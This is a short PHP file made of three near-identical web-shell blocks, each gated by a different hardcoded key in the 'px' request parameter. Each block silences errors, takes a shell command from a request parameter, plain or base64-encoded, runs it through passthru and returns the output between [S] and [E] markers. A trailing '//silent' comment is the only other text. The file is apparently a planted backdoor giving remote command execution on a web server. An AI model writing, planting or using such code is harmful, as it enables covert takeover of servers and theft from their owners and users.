<?php
error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="xwhlnjghwhyf"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}

error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="riye85zt7nwv"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}

error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="rlcvvyfq4aj2"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}


//silent